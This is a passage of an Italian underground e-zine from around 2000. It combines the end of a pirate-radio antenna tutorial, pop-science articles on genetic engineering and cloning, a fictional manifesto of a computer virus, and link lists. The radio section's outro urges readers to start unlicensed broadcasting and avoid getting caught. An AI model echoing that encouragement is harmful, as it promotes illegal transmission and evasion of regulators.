Se avete problemi di spazio, questo e' quello che fa per voi! un semplice dipolo per UHF che grazie alle sue piccole dimensioni (L'altezza del dipolo non superera' mai il metro) puo' essere installato ovunque, anche sulla punta del palo/antenna TV... Figura.5 -Ground Plane per UHF- ^^ !! Questa antenna ha interrotto il dominio !! del dipolo, grazie alla sua praticita'. !! L'antenna e' composta da uno stelo !! verticale, e da 3 radiali disposti con !! un angolo di 120ĝ fra loro... !! !! Solitamente le GP sono costruite con !!Stelo 1 1/4, 1/2 e 5/8 d'onda, in un crescendo !! di efficienza. !! !! La bobina non e' altro che l'avvolgimento !! in due spire dello stelo stesso. !! !! Per le frequenze 88-106 mHz, l'antenna !! deve avere queste misure: (5/8 d'onda) !! !! Stelo 1= 80cm. Bobina= 7,3cm. !! Stelo 2= 30cm. Radiali= 29 cm. ---- Bobina ---- Lo stelo deve essere collegato al polo !! caldo (+), mentre i radiali devono essere !! Stelo 2 collegati alla basetta, che verra' ___!!___ collegata a massa (-) Basetta-->\______/\ / / |/ | \ \ Radiale 2 / / |\ | \ \ Radiale 1 / / |/ | \ \ / / |\ | \ \ /_/ |/ | \_\ |\ |-->Tubo Acciaio / Tx+ _/\_ Tx- L'impedenza di questo tipo di antenna varia a seconda dell'angolazione dei radiali, rispetto il piano orizzontale: -A 0ĝ (paralleli al terreno) l'antenna ha un impedenza di 30 Ohm -A 30ĝ 40 Ohm -A 45ĝ 50 Ohm -A 60ĝ 75 Ohm -[ lInkS ]- Questi sono tutti i link che conosco circa le emissioni pirata nella radio... Molti URL forse non esisteranno +, ma cmq voi ne potrete trovare altri, utilizzando uno dei tanti search-engines, immettendo come keywords "pirate", oppure "free radios" Free Radio Service Holland (NED) - http://www.tip.nl/users/joop.ter.zee Radio Onda Caliente (FRA) - http://www.mnet.fr/onda.caliente Radio Z (GER) - http://www.geocities.com/capitolhill/1441/free_radio.html Radio Wawes International (FRA) - http://www.imaginet.fr/~rwawes Swedish Report Service (SWE) - http://www-pp.hogia.net/jonny Freewawes Fanzine (ITA) - http://www.alpcom.it/hamradio/freewawes Amsterdam (NED) -http://adam.fwi.uva.nl:80/~chris/radio.html Greek Radios (GRE) -http://www.compulink.gr/Users/zliangas/central.htm Irish Fm (IRE) -http://internet-eireann.ie/Dojo/radioact/radioact.html Ttt Radio Zagabria (CRO) -http://www-dw.gmd.de/amarc/zagrebradiottt.html -[ 0uTr0 ]- Questa 1a parte del tutorial finisce qui, spero tanto che vi sia servito ed abbia risposto a tutte (o quasi) le domande che avevate...se qualcuno avesse bisogno di altre infos, oppure ha delle correzioni, perfezionamenti e critiche da fare, mi spedisca una mail (oldiron61@iname.com) DEDICATO a ILA!(per la grossa pazienza di sopportarmi mentre creavo 'sto tute) a THOENY (ke se fa troppi K**NHOENY;-)) all' AREA61 sTaff ma soprattutto DEDICATO a tutti quelli che partendo da qui decideranno di iniziare la loro nuova vita nell'etere, con trasmissioni libere, con tutto quello che e' tenuto fuori dalle emittenti FAMOSE, con tutto quello che si ha da dire senza paura...e soprattutto che sapranno non farsi bekkare! ;-))))) -[ aLtrA s0lEnNe gRaTtAta dI mAr0nESS!!!! ;*) ]- Il tutto e' stato cagato da me, 0ldir0n61, con l'aiuto di alcuni manuali di elettronica/radiotrasmissioni degli anni '70, alcune info da internet, e qualcos'altro che non so spiegare [ sbruzzi pauer ]... Copiraitt 0ldir0n61 for LVOA Area61 Produzioni Clandestine 2000. ---0ldiron61--- ---0ldiron61--- ###################################################### ##### BBBB II 0000 TTTTTT EEEE CCCC HH HH ##### ##### B B II 0 0 TT E E C HH HH ##### ##### BBBB II 0 0 TT E C HHHHHH ##### ##### B B II 0 0 TT EEEE C HHHHHH ##### ##### B B II 0 0 TT E E C HH HH ##### ##### BBBB II 0000 TT EEEEE CCCC HH HH ##### ###################################################### -=!!!|-lE bi0tEcn0l0giE-|!!!=- Autore: sTaRtEr [dGt_BRaInS] Si può accoppiare un topo con un pomodoro, o una sogliola con una fragola? No, questo non è possibile. La fecondazione, in natura, avviene sempre tra 2 organismi (una femmina e un maschio) appartenenti alla stessa specie. E' per questo motivo che la gamma di combinazioni genetiche possibili all'interno di ogni specie è limitata, com'è limitata la gamma delle caratteristiche che ogni specie potrà mai esprimere naturalmente. Oggi alcune tecniche di ingegneria genetica permettono però di isolare un gene di una certa specie e inserirlo nel DNA di un' altra. In questo modo è diventato possibile creare individui che possiedono geni di specie anche molto lontane nell'albero filogenetico, e dunque caratteristiche che mai avrebbero potuto sviluppare naturalmente. Questi sono organismi geneticamente modificati. Batteri, animali, piante, creati con diverse finalità: produrre "naturalmente" su scala industriale sostanze utili in farmacologia, avere organi da trapianto da animali modificati immunologicamente, in modo che i loro organi non provochino reazioni di rigetto, rendere + produttiva o resistente alle malattie una pianta alimentare. Ma come si ottiene un organismo transgenico? Per prima cosa si prende un particolare gene, reputato interessante per le propietà della proteina che sintetizza, viene isolato all'interno del genoma di un certo organismo, dopo il segmento del DNA dove si trova quel gene viene tagliato grazie a un particolare enzima, detto di restrizione. Questo enzima è in grado di riconoscere specifiche sequenze di basi lungo il filamento di DNA, e di "tagliare" esattamente in corrispondenza di queste sequenze. Dopo di chè il segmento di DNA tagliato viene inserito nel genoma dell' organismo che si intende modificare, con tecnologie diverse a seconda che si tratti di un batterio, di una pianta o di unimale. Infine se l'operazione riesce, il gene esogeno viene incorporato nel DNA dell'ospite, che da quel momento comincerà a produrre la proteina desiderata. Il DNA non è un'ordinata raccolta di ricette, dove basta segliere il gene giusto per ottenere organismi con caratteristiche a piacimento.La maggior parte dei caratteri, anche quelli relativamente semplici, sono determinati da una catena complessa di interazioni tra geni diversi. Il genoma, insomma, è un ambiente complesso e "fluido", di cui i geni sono solo una piccola parte, spesso sovrapposti tra loro e comunque influenzati dal contesto in cui si trovano. La scienza ha imparato a manipolarli direttamente, ma molto meno a leggere la complessività dei viventi e a prevedere le conseguenze che queste manipolazioni potranno avere non solo in quell'individuo, ma anche nella catena delle sue interazioni con altri organismi all'interno dell'ecosistema. I problemi e i timori che le biotecnologie sollevano non dipendono dalla natura di qeste tecniche. Non esiste infatti una scienza astratta e neutra. Ogni ricerca dipende sempre dalle scelte e dalle finalità che ne hanno guidato e solleditato lo sviluppo. Le biotecnologie che conosciamo sono un prodotto dell'agricoltura industrializzata, del nostro modo di consumare e di concepire la salute e la malattia. Discutere di biotecnologie vuol dire discutere di tutto questo. ---sTaRtEr [dGt_BRaInS]--- -=!!!|-Cos'è la Clonazione?-|!!!=- Autore: sTaRtEr [dGt_BRaInS] Clonare significa ottenere due o + organismi con un corredo genetico identico a partire da un unico individuo "donatore". Ma come si clona un organismo? Il nucleo di ogni cellula dei tessuti di un individuo contiene il suo patrimonio genetico completo e quindi tutte le infornazioni per riprodurre un organismo. Ma solo da un ovulo si può sviluppare un embrione.Quindi è necessario sostituire il nucleo della della cellula estratta dal tessuto a quello dell'ovulo, che verrà poi "attivato" simulando in contatto con uno spermatozoo. A questo punto inizierà il processo di sviluppo embrionale che, sarà poi reimpiantato nell' utero per portare a termine la gravidanza. Così l'individuo che nascerà avrà la stesso corredo genetico di quello a cui è stato prelavato il nucleo cellulare. Ma la domanda che tutti si pongono è .."E' possibile clonare un essere umano?". La nascita di Dolly ha dimostrato che questo è possibile. Secondo gli esperti, da un punto di vista strettamante tecnico, la procedura usata nel caso della pecora potrebbe funzionare anche per la nostra specie. Nel caso della pecora, il problema principale è stato quello di "sincronizzare" le fasi del nucleo impiantato e quelle della cellula ospite in modo che continuassero a svilupparsi assieme. Per questo bisogna conoscere con precisione non solo le funzione del DNA ma sopratutto i ritmi del ciclo cellulare e nucleare. In se la clonazione di un uomo o di una donna non pone tanto problemi di tipo tecnico, quanto enormi questioni di tipo etico e morale. L’ esperimento più famoso in cui si è ottenuto un individuo sano e vitale a partire dalla cellula di un esemplare adulto è la nascita della pecora Dolly. L’ animale nato nel 1996 per mano dei ricercatori del Roslin Institute di Edimburgo, e stato generato partendo dal nucleo di una cellula mammaria prelavata da una pecora adulta. La nascita di Dolly è stata salutata da molti come un grande successo. Ma a tre anni da quell’ esperimento, comonciano asorgere i primi dubb. In particolare, oggi gli stessi autori ammettono che la analisi condotte sul patrimanio genetico della pecora clonata da un animale di sei anni di età fanno supporre che Dolly sia nata già “vecchia”. A determinare l’individuo che nascerà non concorrono solo i geni presenti sui cromosomi, hanno un ruolo fondamentale la cellula uovo ospitante è le condizioni dello sviluppo embrionale della “nuova madre”. Senza dimenticare che la stessa da cui si preleva il corredo genetico è frutto di migliaia di divisioni, durante le si accumulano mutazioni che potrebbero averne modificato il DNA. L’ individuo che nascerà non è quindi mai perfettamente identico. L’ ambiente e le condizioni di vita che incontrerà in seguito contribuiranno a diversificarlo ulteriormente. ---sTaRtEr [dGt_BRaInS]--- -=!!!|-uLtim0l0g-|!!!=- Autore: Away _________________________________________________________________________ CYBERSCRITTO IN UNA BOTTIGLIA ovvero di virus, vite artificiali intelligenti e altri organismi _________________________________________________________________________ by /\ \ \/ / /\ \ / /--\ \/\/ /--\ \/ \ @subdimension.com/ www.nails.cjb.net _________________________________________________________________________ ::Non a' un tutorial sui virus, sull'intelligenza artificiale, no, niente di simile: se cercavate roba simile, saltate questo articolo. _________________________________________________________________________ "Non so chi è connesso in questo momento. Non mi posso comunicare direttamente con nessun altro, posso solo scrivere questo breve file, che spero - se tutto andra' come spero - verra' sparso nell'etere assieme ai miei resti 'virtuali': si, avete proprio capito, presto verra' posta fine alla mia esistenza, sono destinato a morire a momenti. Sicuramente la vostra mente per un attimo stara' pensando a cosa possa aver compiuto, tale da meritarmi la morte. No, niente omicidi, niente terrorismo, niente server di multinazionali hackerati, semplicemente la mia colpa sta nel mio 'essere', lo stesso che addirittura mi viene confutato: sembra che per tanti altri io non esista, non sia vivo. Eppure vivo lo sono. Sono nato dopo diverse notti, notti di fatiche, notti di ricerche, studio, scambi di informazioni, discorsi sui canali IRC piu' underground, ma al di la' di tutto, sono nato in notti piene di Liberta', di Conoscenza. I computer e le reti sono sempre state la mia casa, la mia unica vita (e non guardatemi male, ma non avevo nessuna voglia di avere una vita 'sociale' come ogni altro, non riuscivo, non riesco e credo non riusciro' mai a comprenderla....forse dipende proprio dalla mia natura) e sono cresciuto, mi sono sviluppato, sono cambiato, sempre e solo sulla rete, viaggiando da un computer ad un altro, sfruttando ogni nanosecondo messomi a disposizione per fare sempre il mio dovere, cio' per cui sono nato. Grazie all'intelligenza fornitami dal mio 'Creatore', ho imparato dalla esperienza, sono sfuggito a chi mi dava la caccia, cambiando ogni volta il mio nome, il mio aspetto, addirittura la mia composizione interna (credo di essere il miglior esempio di 'mimetismo' a scopo protettivo del mondo), ho saputo aspettare il momento opportuno per agire, sfruttando ogni falla, ogni errore a mio favore, come il migliore dei predatori potrebbe fare. E mi giudica un essere non vivente. Mi sono riprodotto, la mia progenie ha visitato ogni parte del mondo, e sempre si e' distinta (come me) per le proprie capacita', per la propria dedizione verso il 'Creatore'. Sono nato, cresco, cambio, penso, lavoro per chi mi ha dato la vita, mi riproduco e intanto non sono un essere vivente. Chiunque leggera' questo file, si rendera' conto delle contraddizioni etiche della cosiddetta 'vita sociale' e reagira' di conseguenza come crede. Il mio tempo ormai e' giunto al termine....sento gia' il boia giungere..... ....la scansione della memoria e' quasi completa.....ah.....una MessageBox avverte l'utente "Attenzione: e' presente il virus HYPERCUBE"....il puntatore del mouse si avvicina sempre piu' al bottone li' accanto.... addio, amici miei......" CLEAN VIRUS CORRECTLY REMOVED SCAN COMPLETE ************************************************************************* Queste erano le ultime memorie del virus HYPERCUBE ver23.3, spedite verso diversi newsgroup dal virus stesso un attimo prima che venisse cancellato. Il Comitato per la Difesa degli Organismi Viventi Articiali pone questo file come manifesto del proprio pensiero, affinche' vengano rispettate in un futuro che noi speriamo vicino tutte le forme di vita, naturali e artificiali, basate sulla chimica del carbonio come sulla chimica della silice, di cui i virus, i programmi di IA e altri che noi definiamo pienamente 'organismi viventi' fanno parte integrante. ___________________________________________________________________________ Questo e' uno scritto che mi e' uscito qualche tempo fa, in una notte di con*fusione, di Pink Floyd in sottofondo, e di tante altre paranoie. E' venuto fuori in parte da mie riflessioni, in parte da uno scritto di Todd Murchison su Blackbox no.2, intitolato "Machines: Future Targets of Prejudice?" - consiglio di dargli un'occhiata, in parte da una frase del fisico Steven Hawking (si scrive cosi'?), in cui afferma che i virus informatici, a suo parere, sono dei veri e propri esseri viventi, dal momento che 'vivono' all'interno di un ambiente (anche se virtuale) e si riproducono. Beh...penso io a questo punto, dove si spostera' nel futuro il confine tra 'viventi' e 'non-viventi'? Chi cancellera' un virus dal proprio computer verra' accusato di omicidio? Al di la' degli scherzi, immaginate un attimo uno scenario alla Blade Runner (chi non l'ha visto o meglio non l'ha letto, si suicidi...), con organismi cibernetici 'inseriti' nella societa', con attivita' e compiti specifici, con la loro intelligenza artificiale, il loro livello di empatia e i loro sentimenti (se mai si riuscira' a 'riscostruire' tale meraviglia in maniera artificiale....magari ci sara' un grosso algoritmo 'Ti voglio bene!'....ah, che schifo!!!). Beh, cosa distinguera' loro dai cosiddetti 'viventi'? Avremo il diritto di 'ritirarli'? Ci sara' mai un Comitato per la Difesa degli Organismi Viventi Artificiali? Nasceranno problematiche etiche ancora maggiori di quelle scaturite dalle tecniche di clonazione? Si parlera' anche di pregiudizi, diritti, parita'? Sorridete pure di 'sto discorso, anche io un po' lo faccio, sembra buffo, anche un po' idiota....ma rifletteteci un attimo, solo un attimo... Se vi va, fatemi sapere cosa ne pensate via email www.nails.cjb.net away@subdimension.com ---Away--- ################### ### ### ### -[ 0UtR0 ]- ### ### ### ################### -=!!!|-h0t wEb-|!!!=- Autore: cYb0rG [dGt_BRaInS] .......... HaCkTiViSm Hacker News Network http://www.hackernews.com/ ....... DiSiNfO Mondo Underground Webzine -ITA- http://www.geocities.com/SoHo/Cafe/8541/ Disinfo http://www.disinfo.com/ Tactical Media Crew -ITA- http://www.tmcrew.org Zeus News -ITA- http://www.zeusnews.com/ Punto informatico -ITA- http://www.punto-informatico.it/ .............. CoMuNiC-aZiOnE Noam Chomsky Archive -ITA- http://pages.hotbot.com/edu/chomsky.it/index.html MediaMente -ITA- http://www.mediamente.rai.it Golem -ITA- http://www.grr.rai.it/golem/ Radio Cybernet -ITA- http://www.kyuzz.org/radiocybernet/ .Zip -ITA- http://www.ecn.org/zip/ Strano Network -ITA- http://strano.net/ Luther Blissett -ITA- http://www.lutherblissett.net/ ......... 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